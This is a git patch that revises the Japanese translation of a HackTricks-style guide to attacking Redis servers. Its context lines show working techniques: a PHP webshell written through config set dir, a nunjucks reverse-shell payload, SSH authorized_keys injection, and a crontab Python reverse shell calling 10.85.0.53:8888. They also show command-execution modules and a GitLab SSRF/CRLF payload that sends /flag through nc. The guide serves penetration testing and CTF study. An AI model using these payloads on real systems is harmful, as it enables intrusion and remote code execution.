From c582040831053bf9ac874d7984f6124eae92e1b6 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 23:35:31 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/6379-pentesting-redis.md'] --- .../6379-pentesting-redis.md | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index abe820b0d..301b6b75c 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -6,7 +6,7 @@ From [the docs](https://redis.io/topics/introduction): Redisはオープンソース（BSDライセンス）のインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。 -デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。 [ここでssl/tlsを使用してRedisを実行する方法を学んでください](https://fossies.org/linux/redis/TLS.md)。 +デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md). **デフォルトポート:** 6379 ``` @@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server ### バナー -Redisは**テキストベースのプロトコル**であり、**ソケットにコマンドを送信するだけで**、返された値は読み取ることができます。また、Redisは**ssl/tls**を使用して実行できることを覚えておいてください（ただし、これは非常に奇妙です）。 +Redisは**テキストベースのプロトコル**であり、**ソケットにコマンドを送信するだけで**、返された値は読み取ることができます。また、Redisは**ssl/tls**を使用して実行できることを忘れないでください（ただし、これは非常に奇妙です）。 通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます： ```bash @@ -40,7 +40,7 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ### Redis 認証 **デフォルトでは** Redis は **認証情報なしでアクセス可能**です。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定することができます**。\ -_**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワードを設定することが可能**です。**または、一時的に**サービスが再起動するまで接続して実行することで: `config set requirepass p@ss$12E45`。\ +_**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワードを設定することが可能**です。**または、一時的に**サービスが再起動するまで接続して、次のコマンドを実行することでも設定できます: `config set requirepass p@ss$12E45`。\ また、_**redis.conf**_ ファイル内のパラメータ `masteruser` で **ユーザー名を設定することができます**。 > [!NOTE] @@ -48,7 +48,7 @@ _**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワー > また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを **外部から確認する方法はありません**。 このようなケースでは、Redis と対話するために **有効な認証情報を見つける必要があります**ので、[**ブルートフォース**](../generic-hacking/brute-force.md#redis)を試みることができます。\ -**有効な認証情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。 +**有効な認証情報が見つかった場合、接続を確立した後にセッションを認証する必要があります**。 ```bash AUTH ``` @@ -65,21 +65,21 @@ client list CONFIG GET * [ ... Get config ... ] ``` -**他のRedisコマンド** [**はこちら**](https://redis.io/topics/data-types-intro) **と** [**こちら**](https://lzone.de/cheat-sheet/Redis)**.** +**他のRedisコマンド** [**はここにあります**](https://redis.io/topics/data-types-intro) **と** [**ここにあります**](https://lzone.de/cheat-sheet/Redis)**.** -インスタンスの**Redisコマンドは** _redis.conf_ **ファイルで名前を変更したり削除したりできます**。例えば、この行はFLUSHDBコマンドを削除します: +インスタンスの**Redisコマンドは、_redis.conf_ファイルで名前を変更したり削除したりできます**。例えば、この行はFLUSHDBコマンドを削除します: ``` rename-command FLUSHDB "" ``` Redisサービスを安全に構成する方法についての詳細はこちら: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) -また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**を使用して**25件の最も遅いクエリ**を取得することもできます。 +また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**を使用して**25の最も遅いクエリ**を取得することもできます。 さらに興味深いRedisコマンドに関する情報はここで見つけることができます: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **データベースのダンプ** -Redis内では、**データベースは0から始まる番号です**。`info`コマンドの出力内の「Keyspace」チャンクで、どのデータベースが使用されているかを確認できます: +Redis内では、**データベースは0から始まる番号です**。`info`コマンドの出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます: ![](<../images/image (766).png>) @@ -87,7 +87,7 @@ Redis内では、**データベースは0から始まる番号です**。`info` ``` INFO keyspace ``` -その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります: +その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります： ```bash SELECT 1 [ ... Indicate the database ... ] @@ -96,7 +96,7 @@ KEYS * GET [ ... Get Key ... ] ``` -`GET `を実行中に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが表示された場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。 +`GET `を実行中に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。 キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。 ```bash @@ -122,7 +122,7 @@ DUMP ``` ### PHP Webshell -情報は[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)から取得しました。**Webサイトフォルダ**の**パス**を知っておく必要があります： +Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). **Webサイトフォルダー**の**パス**を知っておく必要があります: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html @@ -134,13 +134,13 @@ OK 10.85.0.52:6379> save OK ``` -​ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。 +​ウェブシェルアクセスに例外がある場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。 ### テンプレートウェブシェル -前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。 +前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのhtmlテンプレートファイルを上書きしてシェルを取得することもできます。 -例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈される**HTMLにrevシェルを注入した**ことがわかります。 +例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈された**htmlにrevシェルを注入した**ことがわかります。 ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), @@ -155,13 +155,13 @@ sh.stderr.pipe(client); )()}} ``` > [!WARNING] -> 注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュするため、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります（そして自動的に再起動されることを期待します）。 +> 注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュするため、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります（自動的に再起動されることを期待してください）。 ### SSH -例 [こちらから](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) +例 [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) -**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。**`config get dir`** の出力には、**redisユーザー**の**ホーム**（通常は _/var/lib/redis_ または _/home/redis/.ssh_）が見つかり、これを知ることで、ssh **でredisユーザーとしてアクセスするために`authenticated_users`ファイルを書き込む場所がわかります**。書き込み権限のある他の有効なユーザーのホームを知っている場合も、それを悪用できます： +**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。 **`config get dir`** の出力には、**redisユーザー**の**ホーム**（通常は _/var/lib/redis_ または _/home/redis/.ssh_）が見つかり、これを知ることで、`authenticated_users`ファイルをssh経由で**redisユーザー**としてアクセスするためにどこに書き込むことができるかがわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます： 1. PC上でssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`** 2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** @@ -182,6 +182,8 @@ OK **この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) +さらに、システムユーザーは `config set dir /home/USER` で確認することで発見でき、新しい `authorized_keys` を `/home/USER/.ssh/authorized_keys` に書き込むことができます。[redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) を使用して、ユーザー名のワードリストでブルートフォース攻撃を行い、`authorized_keys` を上書きします。 + ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 @@ -193,16 +195,16 @@ OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` -最後の例はUbuntu用で、**Centos**の場合、上記のコマンドは次のようになります: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` +最後の例はUbuntu用ですが、**Centos**の場合、上記のコマンドは次のようになります: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` -この方法はビットコインを得るためにも使用できます： [yam](https://www.v2ex.com/t/286981#reply14) +この方法はビットコインを得るためにも使用できます：[yam](https://www.v2ex.com/t/286981#reply14) ### Redisモジュールのロード -1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。 +1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。 2. 次に、**コンパイルされた**モジュールを**アップロードする方法**が必要です。 -3. `MODULE LOAD /path/to/mymodule.so`を使用して、実行時に**アップロードされたモジュールをロード**します。 -4. `MODULE LIST`を使用して、**ロードされたモジュールをリスト**し、正しくロードされたか確認します。 +3. `MODULE LOAD /path/to/mymodule.so`を使用して、ランタイムで**アップロードされたモジュールをロード**します。 +4. `MODULE LIST`を使用して、正しくロードされたかどうかを確認するために**ロードされたモジュールをリスト**します。 5. **コマンドを実行**します: ``` @@ -217,7 +219,7 @@ OK ### LUAサンドボックスのバイパス -[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)で、Redisが**EVAL**コマンドを使用して**Luaコードをサンドボックス化して実行**していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや可能ではないようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすオプション**も確認できます。 +[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)で、Redisが**EVAL**コマンドを使用して**Luaコードをサンドボックス化して実行**していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。 Luaから脱出するためのいくつかの**CVE**: @@ -225,7 +227,7 @@ Luaから脱出するためのいくつかの**CVE**: ### マスタースレーブモジュール -​マスターRedisでは、すべての操作が自動的にスレーブRedisに同期されます。つまり、脆弱性のあるRedisをスレーブRedisと見なすことができ、マスターRedisに接続されている自分の制御下にあるRedisにコマンドを入力できます。 +​マスターRedisのすべての操作は自動的にスレーブRedisに同期されます。これは、脆弱性のあるRedisをスレーブRedisと見なすことができ、マスターRedisに接続されている私たちの制御下にあるRedisにコマンドを入力できることを意味します。 ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -253,9 +255,9 @@ set mykey2 helloworld ### 例: Gitlab SSRF + CRLF to Shell -**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました（これは127.0.0.1にアクセスします）、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。 +**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました（これにより127.0.0.1にアクセスします）、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。 -したがって、これらの脆弱性を**悪用してRedisインスタンスと通信することが可能**であり、**gitlab**からのキューを管理し、そのキューを悪用して**コード実行を取得することができました**。Redisキュー悪用ペイロードは次のとおりです: +したがって、**これらの脆弱性を悪用してRedisインスタンスと通信することが可能でした**。これは**gitlab**のキューを管理し、そのキューを悪用して**コード実行を取得する**ことができました。Redisキューの悪用ペイロードは: ``` multi sadd resque:gitlab:queues system_hook_push @@ -266,6 +268,6 @@ exec ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_何らかの理由で（この情報が取得された_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _の著者による）`git` スキームでのエクスプロイトが機能し、`http` スキームでは機能しませんでした。_ +_なぜか（この情報が取られた_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _の著者に関して）`git` スキームでのエクスプロイトが機能し、`http` スキームでは機能しませんでした。_ {{#include ../banners/hacktricks-training.md}}